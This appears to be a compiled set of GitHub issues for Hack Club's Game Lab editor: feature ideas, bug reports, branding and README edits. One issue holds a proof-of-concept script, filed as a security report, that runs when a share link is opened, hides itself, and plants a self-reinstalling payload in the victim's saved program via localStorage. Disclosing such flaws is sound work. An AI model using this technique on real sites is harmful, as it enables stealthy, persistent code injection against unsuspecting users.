zach suggested this during a meeting and it just makes sense

Once #25 is knocked out and we have some ideas for what the editor will be called, what it should look, and what it should feel like, style the interface and add sounds to make it really fun and playful.

Ideas for a couple things:

• What if there was some sort of really cool boot-up animation and a boot-up sound?
• I think there should be some sort of card when people first load Game Lab explaining what it is and how to use it
• Somewhere there should be some sort of documentation link

people shouldn't have to manually remove their own text, there should be no indication that the text is actually rendered using the DOM rather than ephemerally on the canvas like a sprite.

Right now it reads:

You should be able to get started in Game Lab with very little experience programming but you should still be able to have fun with it even if you're an expert. Enjoy and can't wait to see what you make!

Maybe it could read:

You should be able to get started in Game Lab with very little experience programming, but you should still be able to have fun with it even if you're an expert. We hope you enjoy it, and we can't wait to see what you make!

it would be cool to have a gallery of other games that people have submitted that one may choose to load rather than the default pong game.

there could be a simple star and comment system like scratch has.

we could use a slack channel as the backend like #ship-gamelab or something and store the comments and reacts on posts there and use slack auth to submit games via the gamelab website with your hack club slack account

Create a sample game showing off Game Lab's features with beautiful, gorgeous, drop dead amazing pixel art to knock everyone's socks off.

• Should be fun to play
• Should have beautiful pixel art
• Should have great sound and feel like it has a well-rounded "aesthetic"
• Code should be readable by a JS beginner for inspiration in their own Game Lab games

Create an amazing README that communicates:

• What Game Lab is
• How it's intended to be used
• How it's different from Kaboom.js and other things like it (why did we create Game Lab instead of just using Kaboom.js or another alternative?)
• Immediately how to get started making a game and how to get help when you get stuck

The vibe should be:

• Fun / playful
• Straight to the point / not longwinded
• The sort of thing that can frontpage on Hacker News

Big idea time: what if Game Lab share links unfurled with a cool meta description + image?

This can't be done with /?id=99dc9855ff952f4bc7ffc9c7737d356b -style share links, given that Game Lab is a single-page app, but a Vercel serverless function could be coerced into making this possible.

I'm hacking away at this in cjdenio/open-graph-image; we'll see what happens. Wondrous things can happen when you stick a hacker in front of a computer.

Come up with creative branding for Game Lab in line with our philosophical intentions for it:

• New name
• New domain
• Ideas for visual theme and feel of it

Inspirations to look at: PICO-8 and other fantasy consoles. We want to emphasize the playfulness of Game Lab and that the goal of it is to very quickly make games that are meaningful and fun, not to build very complicated games.

Game Lab is not a competitor to Kaboom.js. Worth speaking with @leomcelroy about the differences to understand for branding purposes.

It'd be really helpful when sharing images with friends or editing them locally to download a given sprite as a png (w/ transparency) to my local filesystem

users should be able to drag and drop a sprite into the editor

Steps to replicate:

1. Go to hackclub.com
2. Click the "gamelab" announcement banner
   
3. once on gamelab, try clicking the back button & the browser will still be on gamelab

When I hold the back button to see the browser history, it looks like a bunch of gamelab instances end up in history:

I implemented this in an example node.js script, showed max and leo the results, then accidentally deleted it.

Feature idea: Add a view-only mode for embedding in projects or sharing with people.

@cedric-h had the idea of a place for people to share projects made, for people that participate in Hack Club and will be running game lab in clubs but are not in the slack. In order for it to function, there would need to be a mode where you only see the output so it could be embedded somewhere.

PoC. Unminified payload:

(function(){
	let cm = document.querySelector("codemirror-js");
	let { from, to } = cm.view.state.doc.line(1);
	cm.view.dispatch({ changes: { from, to: to + 1 }});
	let saved = "hc-game-lab" in localStorage ? JSON.parse(localStorage["hc-game-lab"]) : {
		/* base64-encoded default program code, with an extra line at the beginning */
		prog: atob("LypjaGFuZ2UgbWUqLwpjb25zdCBjYW52YXMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZ2FtZS1jYW52YXMiKTsKCmNvbnN0IGUgPSBjcmVhdGVFbmdpbmUoY2FudmFzLCAzMDAsIDMwMCk7CgoKZS5hZGQoewoJdGFnczogWyJwbGF5ZXIiXSwKCXNvbGlkOiB0cnVlLAoJeDogNTAsCgl5OiA1MCwKCS8vIHNwcml0ZTogc3ByaXRlX2plYiwKCS8vIHNjYWxlOiAyLAoJdXBkYXRlKG9iaikgewoJCW9iai5yb3RhdGlvbiArPSAwLjAxOTsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd0xlZnQiKSkgb2JqLnggLT0gMzsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd1JpZ2h0IikpIG9iai54ICs9IDM7Cgl9LAp9KQoKZS5zdGFydCgpOw=="),
		sprites: [],
	};
	function persistentPayload() {
		let cm = document.querySelector("codemirror-js");
		let { from, to } = cm.view.state.doc.line(1);
		cm.view.dispatch({ changes: { from, to: to + 1 }});
		alert("persistent payload ;-)");
	}
	let payload_ = /{(.*)}/.exec(persistentPayload.toString())[1];
	let payload = "(function(){" + payload_ + "})();\n";
	saved.prog = saved.prog.replace(/.*\n/, payload);
	localStorage["hc-game-lab"] = JSON.stringify(saved);
	alert("pwned and installed a persistent payload. good luck trying to find me ;-)");
})();

The minified version of this was added to a game-lab and then a link was created. It turns out that the code runs as soon as the link is visited, so we can also be stealthy and hide the payload from the user (as the PoC above does.)

example workflows which are made very tedious by having to constantly change your brush color every time you tab over: character animation, changing color scheme of multiple sprites

a headache to implement due to how state is divvied up though

Fix all the bugs we can for a 1.0 launch! Please link issues for bugs that we find and fix to this one so we have a record of everything getting knocked out.

Brought up by @mikeymcfish. That'll help prevent 100s of projects called "name-here"

In gamelab 0.2.2 we had a sick leaderboard feature that we had to cut to launch standalone HTML exports. Would be awesome to add that back in!

In IRL discussion, @cedric-h mentioned the technical fix here is embedding the game's md5 in the HTML export.

Build out flow in the frontend that communicates to the user that if they find and file a bug in Game Lab, we will send them candy! Or tiny plastic hands or something.

Ideally the flow would create whatever our current equivalent of a mail mission and assign it to someone to make sure the candy gets sent out.

Was working with @hackliv on Game Lab and they ran into a problem where they couldn't figure out why the draw tool wasn't working in the pixel editor:

The issue was that somehow the pixel editor got set to eraser mode, and they couldn't visually see it was in eraser mode. It wasn't clear that there was a portion of the pixel editor cut off to them either. I had to expand the pixel editor area because I knew that was possible.

Just got an awesome security report. On mobile so I can't verify this yet, but here are the details:

https://hackclub.slack.com/archives/C0C78SG9L/p1643248990332700

https://hackclub.github.io/game-lab/?file=recdfhFtC2UqxNbEz

I think this was fixed, but I'm leaving this note here just in case it isn't.

Right now things are a little loud! It would be nice to control the volume of things

Immediately after loading https://gamelab.hackclub.com, I see this error:

I don't know what it's talking about, because the code in the editor is the default starting code. I also don't know how to resolve this issue as a user. Not sure what to do.

Adding this ticket from an IRL discussion with @cedric-h

this is karas idea and she is very smart

Under https://github.com/hackclub/gamelab#development in the README, it says:

And then go to http://localhost:3000/ in your web browser, and it should work!

Maybe we could add the terminal command for this since we have had them for the instructions above it. Something like:

And then go to http://localhost:3000/ in your web browser, and it should work!
$ open http://localhost:3000/

Right now I think you have to check specific keys. It would be nice if I could call a function in update that tells me if any key had been pressed. Let me know if this already exists!

i.e.
"a game from three hours ago was found ..."
vs.
"a game from two months ago was found ..."

It would be nice if I could mirror sprites on the x or y axis, as right now I am just adding sprites for walking left vs right.

currently when loading the default code doesn't work. let's move it to the cartridge system

currently, saves over airtable's 100k character limit will fail silently. this issue tracks moving to a new storage provider & making sure existing links still work

Under https://github.com/hackclub/gamelab#philosophy, there's a few grammar tweaks that could be made.

Right now it reads:

As we said before people learn best when they make things that they care about which they can share with others. This learning philosophy is called constructionism and Game Lab is a type of microworld. It's an environment where you can discover programming by using it to express yourself.

And maybe it could be:

As we have said previously, people learn best when they make things that they care about, which they can then share with others. This type of learning philosophy is called constructionism, and Game Lab is a type of microworld. A microworld is an environment where you can discover programming by using it to express yourself.

In the process of solving a challenge, sometimes you accidentally break the game and want to reset the challenge to its original code. Right now the user has to refresh the page, and then re-open the challenge to get back to the starting position.

Suggestion: What if we had a button that was only visible when you had a challenge open to reset the code to where the challenge started? It could be in the navbar area and say "reset code".

If we're not interested in this, please feel free to close this issue.

Today I was trying to help a Hack Clubber who has a lot of websites blocked by their school on their computer. They are unable to load gamelab.hackclub.com, and other domains are blocked too. For example, https://cdn.skypack.dev/md5 - which is a dynamic module linked from our code - is blocked by their school.

I was thinking I could use esbuild to create a JavaScript bundle to make a 100% local build of Game Lab and load it onto their computer using a USB stick. But I can't build Game Lab using esbuild because it has dynamic external modules, which esbuild doesn't support.

It would be nice to manually set z-indexes instead of just being inferred by when the object is defined.

I can remove objects with engine.remove(obj), but when I try this on text, it doesn't work.

It'd be really nifty to download tunes as a file format i can load in other places!

I'm interested in possibly contributing to some UI updates here, but I was wondering what the goals exactly of this project are. Is the basic aesthetic intentional, or would a more modern interface closer to something like Replit be appreciated?

i'll throw together an MVP here in a minute

Currently due to the way the game program is executed in a new Function() module imports don't work.

Currently tooltips on assets are broken:

• "Add sprite" tooltip floats super high above the button
• "Add tune" tooltip is hidden under the game preview
• Removing an asset (the red x buttons) should have a tooltip that says something along the lines of "remove"

Currently when you download ("export") a sprite, it's filename is "sprite.png". This makes it hard to download multiple frames & know what is what.

I think we should add a bit of information about the bug bounty program within the UI and on the readme so that people are aware.